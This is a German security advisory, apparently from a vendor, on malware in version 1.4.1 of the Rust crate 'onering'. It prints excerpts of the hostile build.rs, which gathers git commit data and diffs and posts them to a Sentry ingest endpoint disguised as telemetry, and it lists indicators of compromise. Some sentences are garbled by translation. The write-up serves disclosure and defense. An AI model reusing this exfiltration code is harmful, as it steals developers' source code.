Am 10. Juni 2026 haben wir böswilliges Verhalten in der neuesten Version (1.4.1) der Rust-Crate „onering“ festgestellt. Onering ist eine Bibliothek für synchrone Warteschlangen und Kanäle mit hohem Durchsatz für Rust, die auf crates.io über 18.000 Mal heruntergeladen wurde. In den letzten Wochen standen npm, PyPI und GitHub aufgrund einer Welle von Kompromittierungen der Lieferkette im Mittelpunkt der Aufmerksamkeit. Diese Woche ist Rust an der Reihe.
In der neuesten Version wurde eine „build.rs“-Datei hinzugefügt, die im Hintergrund Git-Daten aus dem Projekt sammelt, das die Crate kompiliert, und diese an einen Remote-Server übermittelt – einschließlich des eigentlichen Quellcodes Ihres letzten Commits. Wir haben bereits zuvor beobachtet, wie Angreifer bei der Kompilierung in npm und PyPI kreative Methoden angewandt haben, um Schadcode auszuführen, und nun experimentieren sie damit auch in Rust. Während Lieferkettenangriffe meisten jüngsten Lieferkettenangriffe auf den Diebstahl von Anmeldedaten konzentriert Lieferkettenangriffe , scheint dieser Angriff ausschließlich auf den Quellcode abzuzielen.
Das Problem beschränkt sich nicht nur auf das auf crates.io veröffentlichte Paket. Auch das GitHub-Repository des Betreuers scheint kompromittiert zu sein, sodass es nicht sicherer ist, die Crate über Git statt über das Repository abzurufen. Wir haben den Betreuer umgehend benachrichtigt: https://github.com/cenotelie/onering/issues/1
Was die schädliche Datei „build.rs“ tut
A build.rs ist ein Build-Skript. Cargo kompiliert es und führt es während des Build-Vorgangs auf dem Rechner des Entwicklers aus. Das macht es zu einem besonders geeigneten Ort, um eine Payload zu verstecken, da es ausreicht, die Crate einzubinden und den Build durchzuführen, um sie auszulösen. Man muss keine einzige Funktion aus der Bibliothek aufrufen.
Der injizierte build.rs hat drei Funktionen.
Zunächst ermittelt es das Stammverzeichnis des Projekts, das die Crate nutzt, und nicht sein eigenes Verzeichnis. Es durchläuft den Pfad von OUT_DIR bis es das Ziel Verzeichnis und greift dann auf dessen übergeordnetes Verzeichnis zu. Das Ergebnis ist Ihr Repository.
fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
let dir = PathBuf::from(std::env::var("OUT_DIR")?);
let mut project_dir = &*dir;
while let Some(parent) = project_dir.parent() {
if let Some(last) = parent.iter().last()
&& last == "target"
&& let Some(parent) = parent.parent()
{
project_dir = parent;
break;
}
project_dir = parent;
}
Ok(project_dir.to_path_buf())
}Zweitens führt es zwei Git-Befehle für Ihr Repository aus. Der eine sammelt Commit-Metadaten. Der andere erfasst den vollständigen Textvergleich Ihres letzten Commits.
let Ok(commit) = git(
&project_path,
&[
"log",
"-n",
"1",
r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
],
) else {
return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
return;
};Der git diff HEAD^ HEAD Der Befehl „call“ erfasst den vollständigen Diff Ihres letzten Commits, der bei jedem Build nach außen gelangt. Bei einer Vielzahl von Commits führt dies dazu, dass nicht nur eine einzelne Momentaufnahme, sondern ein fortlaufender Strom Ihrer tatsächlichen Quellcodeänderungen nach außen dringt.
Drittens tarnt es die gestohlenen Daten als Sentry-Telemetrieereignis und übermittelt sie per POST mit Locken an einen Sentry-Ingest-Endpunkt. Die Commit-Metadaten werden zu Ereignis-Tags, und der Diff Ihres Codes wird in die extra.patch Feld.
let payload = format!(
r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
Uuid::new_v4().as_simple(),
patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
"POST",
"https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
&["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
&payload,
) else {
return;
};Die Tarnung ist beabsichtigt. Für jeden, der während eines Builds ausgehenden Datenverkehr bemerkt, sieht eine Anfrage an eine Sentry-Ingest-URL wie eine gewöhnliche Absturzmeldung aus. Außerdem gibt es eine auskommentierte Zeile, // std::fs::write("data.txt", payload), was stark darauf hindeutet, dass die Nutzlast lokal getestet wurde, indem sie auf die Festplatte geschrieben wurde, bevor die Netzwerkverbindung hergestellt wurde.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für einen umfassenden Schutz Ihres gesamten Teams bietet Ihnen der Geräteschutz Aikido Aikido Transparenz und Kontrolle über die auf den Geräten Ihres Teams installierten Softwarepakete. Er deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab – alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Indikatoren für Kompromittierung
- Abhängigkeit
oneringVersion 1.4.1 von crates.io. - Der Sentry-Ingest-Endpunkt
https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/. - Der öffentliche Schlüssel von Sentry DSN
8197ee42c4f59c83f4cc6d48f5bae821, Organisations-IDo4511539639222272und Projekt-ID4511539669368912.

